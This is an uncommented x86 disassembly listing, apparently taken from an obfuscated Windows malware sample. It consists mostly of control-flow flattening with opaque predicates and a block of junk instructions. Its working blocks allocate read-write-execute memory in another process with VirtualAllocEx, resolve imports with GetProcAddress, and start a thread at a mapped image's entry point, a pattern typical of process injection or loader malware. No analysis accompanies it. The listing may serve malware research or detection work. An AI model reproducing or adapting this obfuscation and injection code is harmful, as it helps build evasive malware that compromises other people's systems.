mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0xcc]
push 0x40
push 0x3000
push dword [eax + 0x38]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xe8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe8]
mov eax, 0xcd5d00b2
jmp 0x401610
cmp dword [ebp - 0xec], 0
mov eax, 0x8bc9ef04
mov ecx, 0x319358e2
cmove eax, ecx
jmp 0x401610
mov ecx, dword [0x45d97c]
mov ebx, 0x6971597f
mov edi, 0x6971597f
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x48ffebe
or eax, 0xebe77498
mov esi, ecx
and esi, 0xfb700141
and eax, 0xebe77499
or edx, esi
mov esi, edx
xor esi, 0x4088a26
xor edx, 0xeb600000
and edx, 0xebe77498
and esi, 0x14188b66
or esi, edx
xor eax, esi
mov esi, 0x9e9feb04
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3b7f7a25
and ecx, 0xc48085da
or eax, ecx
xor eax, 0x3b7f7a25
sete al
setne cl
cmp dword [0x45d978], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
mov ecx, eax
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
test dl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test cl, 1
cmovne eax, ebx
jmp 0x401610
mov eax, 0x4d60123a
jmp 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0xe1ddcbbd
mov esi, ecx
not esi
and edx, 0x1e223442
and ecx, 0x1e223442
or eax, esi
and esi, 0xe1ddcbbd
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x5e47755a
mov ecx, eax
mov esi, eax
not esi
or ecx, 0xa1b88aa5
and edx, eax
mov edi, ecx
and edi, 0x6fd5a3ee
and esi, 0x10025410
and eax, 0xfffffffe
mov ebx, edx
not ebx
and edx, 0x902a5c11
or esi, edi
or ecx, ebx
and ebx, 0x6fd5a3ee
or edx, ebx
not ecx
xor edx, esi
mov esi, 0x89a5e9e2
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x97d7957
and edx, 0xf68286a8
or ecx, edx
xor ecx, 0x573a0c0c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x35f4143a
and ecx, 0xca0bebc5
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3cfe962
and ecx, 0xfc30169d
or eax, ecx
mov ecx, eax
xor ecx, 0x9800005
xor eax, 0x36382818
and ecx, 0x983d545
and eax, 0xf67c2aba
or eax, ecx
cmp eax, 0xf67c2aba
sete dl
cmp dword [0x45d978], 0xa
mov ch, dl
setl al
setge ah
xor al, dl
xor dl, ah
or ch, ah
and dl, ah
mov cl, al
xor al, 1
xor ch, 1
xor dl, 1
and cl, ah
mov ah, dl
or cl, ch
xor ah, al
or al, dl
xor cl, 1
xor al, 1
mov edx, ecx
or al, ah
or cl, al
xor dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x4b2a902d
cmovne eax, esi
test cl, 1
mov ecx, 0x4b2a902d
cmovne ecx, eax
test dl, 1
cmove ecx, eax
mov eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x1b8]
mov eax, dword [eax + 0x68]
add eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, 0x8dc694c8
jmp 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x28a26647
and edx, 0xd75d99b8
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd75d99b8
or eax, esi
and esi, 0x28a26647
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0x29dbe6d
mov esi, edx
and esi, 0xfd624192
or ecx, esi
mov esi, eax
not esi
and eax, 0x29dbe6d
or edx, esi
and esi, 0xfd624192
or eax, esi
not edx
mov esi, 0x87f82f8b
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0x716c7a78
and eax, 0x8e938587
or eax, edx
mov ecx, eax
xor ecx, 0x302c5000
xor eax, 0x8e938587
mov edx, eax
and edx, 0x41432bf9
and ecx, 0xbebcd406
or ecx, edx
xor ecx, 0x41432bf9
xor eax, ecx
test eax, ecx
setne cl
cmp dword [0x45d978], 0xa
mov eax, ecx
setge dl
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x3b78a49d
cmovne ecx, esi
test dl, dl
mov edx, 0x87f82f8b
cmovne edx, ecx
test al, al
cmovne edx, ecx
mov eax, edx
jmp 0x401610
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, 0xccae9c71
jmp 0x401610
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
not eax
or esi, 1
and ecx, 0x24604993
mov edx, eax
mov edi, eax
or edx, 0x2d6288b4
and esi, 0x2d6288b5
and edi, 0xd29d774a
and eax, 0xdb9fb66c
or edi, esi
and edx, 0x2d6288b5
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xdb9fb66c
mov edi, esi
and edi, 0x24604993
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x40c84fc5
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x45d978], 0xa
mov ch, dl
setl cl
setge al
and ch, al
and cl, ah
xor dl, al
or cl, ch
and dl, ah
xor cl, 1
or cl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xfc4f8a3
cmovne eax, esi
test dl, dl
mov edx, 0xfc4f8a3
jmp 0x40cb80
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1d8]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xb241816
mov esi, edx
and esi, 0xb4dbe7e9
and edx, 0xedc0e4d5
or ecx, esi
mov esi, ecx
xor esi, 0x3041012
xor ecx, 0xf4dbe7e9
mov edi, ecx
and edi, 0x48306a6d
and esi, 0xb7cf9592
or esi, edi
mov edi, eax
xor edi, 0xbfffffff
and edi, eax
and eax, 0x123f1b2a
mov ebx, edi
not ebx
and edi, 0xb7cf9592
or eax, edx
or ecx, ebx
and ebx, 0x48306a6d
mov edx, eax
xor edx, 0x123f1b2a
xor eax, 0xedc0e4d5
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
mov eax, 0x26e9bda8
jmp 0x40d353
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, 0x77af8514
jmp 0x401610
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xb6f66198
and edx, 0x49099e67
mov esi, ecx
not esi
and ecx, 0x7b0b5d69
or eax, edx
mov edx, eax
xor edx, 0x32024108
xor eax, 0x49099e67
mov edi, eax
or eax, esi
and esi, 0x84f4a296
and edi, 0x84f4a296
and edx, 0x7b0b5d69
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x12486048
mov esi, ecx
or esi, 0x920c21
mov edi, ecx
and edx, 0x12da6c69
and edi, 0x60241012
or edi, edx
mov edx, eax
and esi, 0x12da6c69
and edx, 0x8d018384
and eax, 0x4e2ed378
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x60b61c32
and esi, 0x9f49e3cd
or edx, esi
mov esi, ecx
and esi, 0xb1d12c87
and ecx, 1
or esi, eax
xor esi, 0x4e2ed379
or ecx, esi
mov esi, edx
not esi
and edx, 0xe3c5f6ab
mov eax, esi
and eax, 0x1c3a0954
or esi, ecx
or edx, eax
mov eax, ecx
not eax
and ecx, 0x1c3a0954
not esi
and eax, 0xe3c5f6ab
or eax, ecx
xor eax, edx
or esi, eax
mov eax, esi
andn ecx, esi, esi
not esi
and eax, 0x1888fd4c
and esi, 0xe77702b3
or eax, esi
mov edx, eax
xor edx, 0x8002d40
xor eax, 0xe77702b3
mov esi, eax
and esi, 0x128bd03e
and edx, 0xed742fc1
or edx, esi
mov esi, ecx
not esi
and ecx, 0xed742fc1
or eax, esi
and esi, 0x128bd03e
or ecx, esi
not eax
mov esi, 0x9f36b9ba
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xabdaf280
and ecx, 0x54250d7f
or ecx, eax
mov eax, ecx
xor eax, 0x81426200
xor ecx, 0x44210865
and ecx, 0x6eb998e5
and eax, 0x9146671a
or eax, ecx
xor eax, 0x9146671a
setne dl
sete ah
cmp dword [0x45d978], 0xa
setl al
setge cl
or ah, cl
or al, dl
xor ah, 1
xor al, 1
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor ah, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ah, dl
xor ah, al
test dl, 1
mov edx, 0x11aa320f
cmovne edx, esi
test al, 1
not ah
cmovne edx, esi
test ah, 1
mov eax, 0x11aa320f
jmp 0x401603
mov eax, dword [ebp - 0x70]
push dword [ebp - 0x124]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, 0xf4900a33
jmp 0x401610
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x48]
add eax, 4
mov dword [ebp - 0x190], eax
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x275b976e
mov edx, ecx
and edx, 0x5098702
and eax, ecx
not ecx
and ecx, 0x2252106c
or edx, ecx
xor edx, 0x5098702
or eax, edx
mov ecx, eax
not ecx
and eax, 0xda447b27
and ecx, 0x25bb84d8
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x22001a4
xor ecx, 0xfd1fec49
xor eax, 0xcf4db4c9
and eax, ecx
and edx, 0xf21c1e4
and ecx, 0xf0de3e1b
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0xf0de3e1b
xor esi, 0x3d739964
xor ecx, 0x20180a4
and esi, edx
and ecx, 0x128b9eb5
or eax, esi
mov esi, eax
not esi
and eax, 0x32525881
and esi, 0xcdada77e
or eax, esi
mov esi, edx
and esi, 0xed74614a
and edx, 1
or esi, ecx
mov ecx, eax
not ecx
and eax, 0x49b807b9
xor esi, 0x128b9eb4
or edx, esi
mov esi, ecx
and esi, 0xb647f846
or eax, esi
mov esi, edx
not esi
or ecx, edx
and edx, 0xb647f846
and esi, 0x49b807b9
not ecx
or esi, edx
xor esi, eax
or ecx, esi
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x32889073
and edx, 0xcd776f8c
or edx, esi
mov esi, eax
not esi
and eax, 0xcd776f8c
or ecx, esi
and esi, 0x32889073
or eax, esi
not ecx
mov esi, 0xcf9744ad
xor eax, edx
or ecx, eax
setne al
cmp dword [0x45d978], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
mov edx, ecx
or al, ah
not dl
mov ah, al
and al, cl
xor ah, 1
or cl, ah
and ah, dl
or ah, al
mov dl, ah
xor dl, cl
test ah, ah
mov eax, 0x95a195bd
cmovne eax, esi
test cl, cl
mov ecx, 0x95a195bd
jmp 0x40ba03
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x43ed15fe
mov esi, eax
and esi, 0xbc12ea01
mov edi, eax
or edi, 0x22d80580
and eax, 0xe34486bc
or edx, esi
and edi, 0x37d82da3
mov esi, edx
xor edx, 0x20100000
xor esi, 0x40010048
or edx, 0x15002823
and esi, 0x40018048
and edx, 0x37d82da3
or esi, edx
mov edx, ecx
and edx, 0x88265214
and ecx, 0x1cbb7943
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0x16fa7af9
and esi, 0xe9058506
or edx, esi
mov esi, edx
xor esi, 0x60008630
xor edx, 0x8bdc00cf
mov edi, edx
and edi, 0x1cbb7943
and esi, 0xe34486bc
or esi, edi
mov edi, 0x802b80e1
xor eax, esi
mov esi, 0x7def9b72
xor edx, eax
test edx, eax
setne ah
sete al
cmp dword [0x45d978], 0xa
setge ch
setl cl
mov dl, ch
and cl, ah
xor dl, al
and al, ch
xor dl, 1
or cl, al
mov eax, 0x802b80e1
or dl, ch
xor dl, 1
xor cl, dl
mov ch, cl
cmovne eax, esi
not ch
test ch, dl
cmove eax, edi
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xc
mov eax, 0xd2ff839b
jmp 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0xd5b85fb6
mov edi, eax
mov esi, edx
and esi, 0xd6942446
and edi, 0x28438009
and eax, 0xfc4c1319
or edi, esi
mov esi, ecx
xor esi, 0x2a47a049
and esi, ecx
mov ebx, esi
not ebx
and esi, 0x296bdbb9
or edx, ebx
and ebx, 0xd6942446
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x8162dca8
and esi, 0x7e9d2357
or edx, esi
mov esi, edx
xor edx, 0x54480319
xor esi, 0xab257ce0
mov edi, esi
or esi, ecx
and ecx, 0x3b3ece6
and edi, 0x3b3ece6
and edx, 0xfc4c1319
or edx, edi
or eax, ecx
not esi
xor eax, edx
or esi, eax
mov eax, esi
not eax
and esi, 0xe2d7915
and eax, 0xf1d286ea
or esi, eax
xor esi, 0xe2d7915
mov esi, 0x5e33cdc
setne ah
sete ch
cmp dword [0x45d978], 0xa
setl dl
setge cl
mov al, dl
or dl, ch
and ch, cl
xor cl, ah
xor cl, 1
and al, ah
mov ah, cl
or cl, dl
or al, ch
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xf4900a33
cmovne ecx, esi
test al, 1
mov eax, 0xf4900a33
cmovne eax, ecx
jmp 0x40b066
mov ecx, dword [0x45d97c]
mov esi, 0x56ff3fa2
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xbfa97d5d
mov edx, ecx
and edx, 0x405682a2
or eax, edx
mov edx, eax
not edx
and eax, 0xe94d0bfb
and edx, 0x16b2f404
or eax, edx
xor eax, 0x56e476a7
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x45d978], 0xa
mov edx, eax
setl ah
setge ch
and dl, ch
and ah, cl
xor al, ch
or ah, dl
mov cl, al
mov dl, ah
xor cl, 1
xor dl, ch
and dl, ah
mov ah, dl
and cl, dl
xor ah, 1
and ah, al
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe64a2361
cmovne edx, esi
test al, 1
mov eax, 0xe64a2361
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x401610
mov eax, 0x34c5fb89
jmp 0x401610
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, 0x11c578a0
jmp 0x401610
mov ecx, dword [ebp - 0x1e4]
mov esi, ecx
mov eax, ecx
xor eax, 0xbfffffff
not esi
mov edx, esi
and eax, ecx
and edx, 0xbfffffff
and esi, 0xe71059b3
and ecx, 0x18efa64c
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0xef022a04
mov edi, ecx
xor edi, 0x69a24c
xor ecx, 0xe71059b3
and edx, 0x10fdd5fb
and edi, 0x69e2ef
or eax, edx
mov edx, eax
xor edx, 0x2204
xor eax, 0x10fdd5fb
mov esi, eax
or eax, ecx
and ecx, 0xff961d10
and esi, 0xff961d10
and edx, 0x69e2ef
or edx, esi
or edi, ecx
not eax
xor edi, edx
or eax, edi
mov ecx, eax
not ecx
and eax, 0xb56bf9f4
and ecx, 0x4a94060b
or eax, ecx
mov ecx, 0xc23289a2
cmp eax, 0xb56bf9f4
mov eax, 0x7bbcb754
cmove eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x54]
mov dword [eax], 4
mov eax, 0x8fae4f84
jmp 0x401610
mov eax, 0xb98c0165
jmp 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x7b943d6e
and eax, 0x846bc291
or ecx, eax
mov eax, ecx
xor eax, 0x73842d20
xor ecx, 0x442c081
and ecx, 0xc52d0cf
and eax, 0xf3ad2f30
or eax, ecx
mov edx, eax
xor eax, 0xb0200e30
xor edx, 0xc52d0cf
mov ecx, edx
and eax, 0xb0704e78
and edx, 0x4f8fb187
and ecx, 0xfffffffe
or edx, eax
xor edx, 0x4f8fb186
or edx, ecx
mov ecx, edx
xor ecx, 0x7c3a8c07
mov eax, edx
and eax, 0xda1dbd4f
and ecx, edx
not edx
and edx, 0x25e242b0
or eax, edx
mov edx, eax
xor eax, 0x24220000
xor edx, 0x40100806
mov esi, eax
or esi, 0x3805348
and edx, 0x44120806
and esi, 0x3ba8d749
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc45728b6
or eax, esi
and esi, 0x3ba8d749
or ecx, esi
not eax
mov esi, 0xfa701843
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x83c573f8
and eax, 0x7c3a8c07
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x67e839a0
mov edx, ecx
and edx, 0x9817c65f
or eax, edx
xor eax, 0x9817c65f
xor ecx, eax
test ecx, eax
setne dl
sete al
cmp dword [0x45d978], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x1852767
cmovne ecx, esi
test al, 1
mov eax, 0x1852767
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x401610
cmp dword [ebp - 0x130], 0
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
setne byte [ebp - 0x8a]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xc8cfa3de
and ecx, 0x106c1004
mov edx, eax
and edx, 0x37305c21
or eax, 0xa9006e01
or esi, edx
and eax, 0xa9106f81
mov edx, esi
xor esi, 0x21004c01
xor edx, 0x4083805a
or ecx, eax
or esi, 0x100180
and edx, 0x4683807a
and esi, 0xa9106f81
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x24bac93c
and eax, 0xdb4536c3
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0xc0182141
xor esi, 0x34c6d8b8
xor ecx, 0x89182402
mov eax, esi
or eax, 1
and esi, 0xb27ce1e
and edx, 0xf4d831e1
and ecx, 0x9dda3c3a
or edx, esi
mov esi, eax
and esi, 0x6225c3c4
or ecx, esi
mov esi, edx
xor esi, 0x94d83020
xor edx, 0xb27ce1f
or eax, edx
and edx, 0x6225c3c4
and esi, 0x9dda3c3b
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8d488048
and eax, 0x20011006
mov edx, ecx
and edx, 0x52306ca1
or ecx, 0x9784040
or esi, edx
and ecx, 0x9fe4350
mov edx, esi
xor edx, 0x84008008
xor esi, 0xb64310
or eax, ecx
and esi, 0x9fe4350
and edx, 0xd600aca9
or edx, esi
mov esi, 0xc16f18c8
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xdf78ece9
and ecx, 0x20871316
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf885bb04
and ecx, 0x77a44fb
or ecx, eax
cmp ecx, 0x77a44fb
sete dl
cmp dword [0x45d978], 0xa
setl al
mov ah, al
xor ah, dl
mov cl, ah
and cl, al
or al, dl
xor al, 1
xor cl, 1
or al, ah
and ah, dl
xor ah, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ecx
xor cl, al
or dl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x993f6949
cmovne ecx, esi
test dl, 1
mov edx, 0x993f6949
cmovne ecx, edx
test al, 1
jmp 0x40c244
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x48]
mov eax, 0xccad4e20
jmp 0x401610
mov eax, 0x81cd8cb0
jmp 0x401610
mov eax, 0x9035f7cd
jmp 0x401610
mov eax, dword [ebp - 0x5c]
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x7ac3778d
and edx, 0x853c8872
or eax, edx
mov edx, eax
xor edx, 0x3ac37780
xor eax, 0x853c8872
mov esi, eax
and esi, 0xc020085f
and edx, 0x3fdff7a0
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3fdff7a0
or eax, esi
and esi, 0xc020085f
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc075c42a
and eax, 0x4e6b3124
and ecx, 0x3f8a3bd5
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xc075c42a
xor esi, 0x8e1ef50e
xor edx, 0x27803054
and esi, ecx
and edx, 0x27d17474
and ecx, 0xd82e8b8a
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0x16924707
xor ecx, 0xd82e8b8a
and esi, 0xe96db8f8
or eax, esi
xor eax, 0xa70689dd
or ecx, eax
mov edx, ecx
xor edx, 0xec6c82de
mov eax, ecx
and eax, 0x4eff6138
and edx, ecx
not ecx
and ecx, 0xb1009ec7
or eax, ecx
mov ecx, eax
xor eax, 0xa00082c6
xor ecx, 0xc6c0018
or eax, 0x13937d21
and ecx, 0xac6c0018
mov esi, eax
and esi, 0x4283dec7
or ecx, esi
mov esi, edx
not esi
and edx, 0xbd7c2138
or eax, esi
and esi, 0x4283dec7
or edx, esi
not eax
mov esi, 0xe5b72df7
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7c82aeef
and ecx, 0x837d5110
or eax, ecx
mov ecx, eax
xor ecx, 0x80402010
xor eax, 0x6f11d3ce
mov edx, eax
and edx, 0x74ae0d29
and ecx, 0x8b51f2d6
or ecx, edx
xor ecx, 0x8b51f2d6
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete al
cmp dword [0x45d978], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
or dl, ah
and dh, ch
and cl, al
xor al, ah
and al, ah
mov ah, dl
or cl, dh
xor al, 1
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0x4d8a2c15
mov al, dl
xor al, ah
test dl, 1
mov edx, 0x4d8a2c15
cmovne ecx, esi
test ah, 1
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x118], eax
mov eax, 0xeef7b34e
jmp 0x401610
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x1ac]
mov dword [eax], ecx
mov eax, 0xda4ebfb1
jmp 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 5
mov eax, 0xe64a2361
jmp 0x401610
rcr edi, 0x29
sub edi, 0x41
mov edx, 0x41
mov edi, 0x9a
not esi
neg eax
not edx
inc eax
not edi
and ebx, 0x14
neg edi
dec edi
sbb esi, 0x49
not edx
sub edx, 0x15
or eax, 0x26
bswap ebx
rcl edi, 0x4f
inc edx
inc esi
mov ebx, 0
bswap esi
not esi
add edx, 0xc2
inc edx
dec eax
and eax, 0xe
bswap esi
dec edx
bswap edx
ror ebx, 0x5e
ror ebx, 0xc9
not eax
sub esi, 0xd9
and ebx, 0x30
or eax, 0x2f
and esi, 0xc8
rcl edi, 0x73
rcr edi, 0xff
sbb ebx, 0x95
neg edi
mov edx, 0xf6
rcl edx, 0xb7
sub edx, 0x9e
ror edx, 0xb0
inc ebx
rcl ebx, 0xdc
rcl eax, 0x32
not eax
neg edx
add esi, 0xec
imul eax
neg esi
or edi, 0x52
neg ebx
imul esi
rol edi, 0x89
imul edx
neg ebx
sbb ebx, 0x9d
or eax, 0x79
not eax
add ebx, 0xd3
not edi
dec edi
add edi, 0x4d
rcr edx, 0xa3
imul eax
rcr edi, 0x67
rol ebx, 0xa6
inc ebx
rcl ebx, 0x1d
imul ebx
not edx
imul edx
and eax, 5
bswap edx
rol edi, 0xed
neg edx
bswap ebx
neg edi
inc eax
rcr esi, 0x2e
bswap edx
bswap esi
sbb edi, 0x57
imul ebx
mov edx, 0x6d
sbb edx, 0x61
sub ebx, 0xb9
or ebx, 7
and edx, 0xd6
neg ebx
imul eax
mov edx, 3
not ebx
sbb edx, 0xb2
or esi, 0x2a
dec edx
and ebx, 0xd
dec edx
neg ebx
or edx, 0x87
rcr eax, 0x25
neg ebx
dec edx
inc esi
and ebx, 0x82
not esi
imul esi
not edx
rcl esi, 0x20
add edx, 0x3a
sub ebx, 0xfb
imul ebx
not edi
add eax, 0x6d
and ebx, 0x28
add esi, 0x6d
not eax
imul esi
bswap esi
or edx, 0xc
bswap ebx
imul edi
sbb esi, 0x49
dec esi
bswap edi
rcl ebx, 0x82
imul edi
dec edx
and esi, 0x78
imul ebx
sbb eax, 0x82
rol edx, 0xc6
sbb ebx, 0xd9
not eax
rcl eax, 0xf2
rcr edi, 0x49
inc edx
bswap ebx
imul eax
neg esi
mov eax, 0x62
sub esi, 0xd9
dec edi
not eax
neg eax
not edi
ror ebx, 0x9b
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov eax, 0x18d707b4
jmp 0x401610
mov eax, dword [ebp - 0xdc]
mov esi, 0x7998edbc
add eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xa42f902b
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x5bd06fd4
and eax, 0xa42f902b
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x61b75132
and ecx, 0x9e48aecd
or eax, ecx
cmp eax, 0x61b75132
setne cl
cmp dword [0x45d978], 0xa
setl ah
setge al
xor ah, cl
or al, cl
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
or cl, ch
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x4c089dd5
cmovne eax, esi
test cl, cl
mov ecx, 0x4c089dd5
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401610
mov ecx, dword [0x45d97c]
mov edi, 0x77cddb50
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x186739da
and ecx, 0xe798c625
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xc7808605
xor ecx, 0x186739da
xor eax, 0x3ab0fa6b
mov esi, ecx
and edx, 0xd7a28fcf
and esi, 0x285d7030
and eax, ecx
or esi, edx
mov ecx, esi
xor ecx, 0x285d7030
